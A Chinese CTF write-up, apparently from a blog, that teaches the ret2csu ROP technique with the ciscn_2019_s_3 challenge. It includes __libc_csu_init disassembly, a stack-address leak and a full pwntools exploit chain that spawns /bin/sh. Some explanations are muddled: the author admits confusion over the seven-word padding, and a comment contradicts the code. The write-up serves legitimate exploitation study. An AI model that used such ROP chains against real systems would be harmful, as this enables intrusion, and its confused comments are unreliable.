ret2csu(以ciscn_2019_s_3为例子)

参考:(67条消息) 中级ROP之ret2csu_西杭的博客-CSDN博客

适用场景

在我们想要调用系统调用,或者在 64 位程序中通过寄存器传递参数,需要设置寄存器中的值,但是有的时候可能没有搜到足够 gadgets 来对寄存器设置值。这个时候需要 csu 函数。

概述

__libc_csu_init 函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们可以构造栈的分布,然后控制程序跳转到 csu,将寄存器的值设置为所需要的值。

原理

__libc_csu_init 函数的汇编指令
.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0                 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0                 push    r15
.text:00000000004011B2                 mov     r15, rdx
.text:00000000004011B5                 push    r14
.text:00000000004011B7                 mov     r14, rsi
.text:00000000004011BA                 push    r13
.text:00000000004011BC                 mov     r13d, edi
.text:00000000004011BF                 push    r12
.text:00000000004011C1                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004011C8                 push    rbp
.text:00000000004011C9                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0                 push    rbx
.text:00000000004011D1                 sub     rbp, r12
.text:00000000004011D4                 sub     rsp, 8
.text:00000000004011D8                 call    _init_proc
.text:00000000004011DD                 sar     rbp, 3
.text:00000000004011E1                 jz      short loc_4011FE
.text:00000000004011E3                 xor     ebx, ebx
.text:00000000004011E5                 nop     dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011E8                 mov     rdx, r15
.text:00000000004011EB                 mov     rsi, r14
.text:00000000004011EE                 mov     edi, r13d
.text:00000000004011F1                 call    qword ptr [r12+rbx*8]
.text:00000000004011F5                 add     rbx, 1
.text:00000000004011F9                 cmp     rbp, rbx
.text:00000000004011FC                 jnz     short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011FE                 add     rsp, 8
.text:0000000000401202                 pop     rbx
.text:0000000000401203                 pop     rbp
.text:0000000000401204                 pop     r12
.text:0000000000401206                 pop     r13
.text:0000000000401208                 pop     r14
.text:000000000040120A                 pop     r15
.text:000000000040120C                 retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp

可以看到 csu 函数有三段代码,我们用到的是后面两段。
loc_4011FE 段全是 pop,所以这段代码可以将我们构造的栈中的值全部存入 rbx, rbp, r12, r13, r14, r15寄存器中
loc_4011E8 段会比较复杂一点:

  • 首先三段 mov 指令将存储在 r15的值赋给 rdx,存储在 r14的值赋给 rsi,存储在 r13的值赋给 edi,此时 rdi 的高32位寄存器中值为0,所以我们也可以控制 rdi 的值。
  • 然后 call 指令跳转到 r12寄存器存储的位置处(在 gadgets1中置 rbx=0)
  • rbx+1,判断是否与 rbp 相等,否则重新执行 gadgets2,这里我们为了不重新执行,将 rbp 置为1

利用方法

我们首先控制程序跳转到 loc_4011FE 段,然后通过末尾的 ret 跳转到 loc_4011E8 段。当程序执行结束 loc_4011E8 后会继续顺序执行 loc_4011FE 端,但是我们已经不需再 pop 了,所以我们在构造栈的时候需要在有用的值后面接着跟上长度一样的 padding 用于第二次的 pop。

  • 注意这里的 padding 是 56 个字节(我也不知道为啥是 7 个,明明是 6 个寄存器)
  • 在构造栈的时候需要注意的是,rdi 为第一个参数的存放寄存器,rsi 为第二个参数,rdx 为第三个参数。
  • call 函数为跳转到某地址内所保存的地址,应该使用 got 表中的地址
  • ret 指令必须跳转到一段有效的汇编指令,所以应为 plt 表中的地址

ciscn_2019_s_3

这个题有两个解法,可以通过 ret2csu,也可以是 srop。这里给出 ret2csu 的解法。
首先我们观察 vuln 函数,用的全是系统调用,没办法 ret2libc,但是我们注意到出题人给了两个 gadgets,一个是 execve 的系统调用号,一个是 sigret。所以我们通过栈溢出来调用 execve 系统调用
image.png
调用 execve 系统调用,我们需要设置几个寄存器:

  • rax = 0x3b
  • rdi = &‘/bin/sh\0’
  • rsi = 0
  • rdx = 0
    image.png
    差一个 rdx。
    所以我们需要用到 csu 函数
    image.png
    ok 现在 gadgets 够用了,只差字符串“bin/sh”的地址了,我们可以写入栈中,然后将栈的地址赋给 rdi。所以接下来我们要尝试暴露栈地址。
    我们知道 vuln 函数第一个系统调用是读,第二个是写,那么我们在写之前打个断点,看看写入的值在栈中的位置。
    image.png
    image.png
    我们可以看到 write 可以写 0x30 个字节,而 buf 距离 rbp 0x16 个字节,并且 vuln 函数栈没有保存上个栈帧的 rbp,所以我们要覆盖 0x10 个字节就够了,那么可以暴露栈上数据 0x20 个字节,我们可以看到除去覆盖字符占去的 16 个字节后在0x7fffffffdeb0 处存了一个栈地址0x7fffffffdfa8,也就是说我们可以将其暴露。0x7fffffffdfa8 距离0x7fffffffde90 的偏移是0x00007fffffffdfa8-0x7fffffffde90=0x118。
    那么我们将得到的值减去 0x118 就是我们的目标地址啦。
    下面是完整的 exp
from pwn import *

elf = ELF("ciscn_s_3")
p = process("./ciscn_s_3")
# p = remote("node4.buuoj.cn",29348)

vuln = elf.symbols['vuln']
csu_pop = 0x040059A
csu_mov = 0x0400580
syscall = 0x400501
execve = 0x004004E2 # mov eax 3Bh
ret = 0x400519
pop_rdi_ret = 0x04005A3

#暴露栈中地址
payload = b'a' * 0x10 + p64(vuln)
p.sendline(payload)
p.recv(0x20)
buf = u64(p.recv(0x8)) - 0x118
print(hex(buf))

payload = p64(ret) + b'/bin/sh\x00' + p64(csu_pop)
payload += p64(0) + p64(0) #rbx为0 rbp为1
payload += p64(buf)      #call [12] == ret
payload += p64(0) * 3 #这里不能将bin/sh的地址直接给r13,因为r13给rdi的低32位,高32位没办法弄,所以要用别的gadget
payload += p64(csu_mov)
payload += p64(0) * 7 #这里的7个不能理解,明明是pop了6个寄存器呀
payload += p64(execve)
payload += p64(pop_rdi_ret)
payload += p64(buf + 8)
payload += p64(syscall)

p.sendline(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值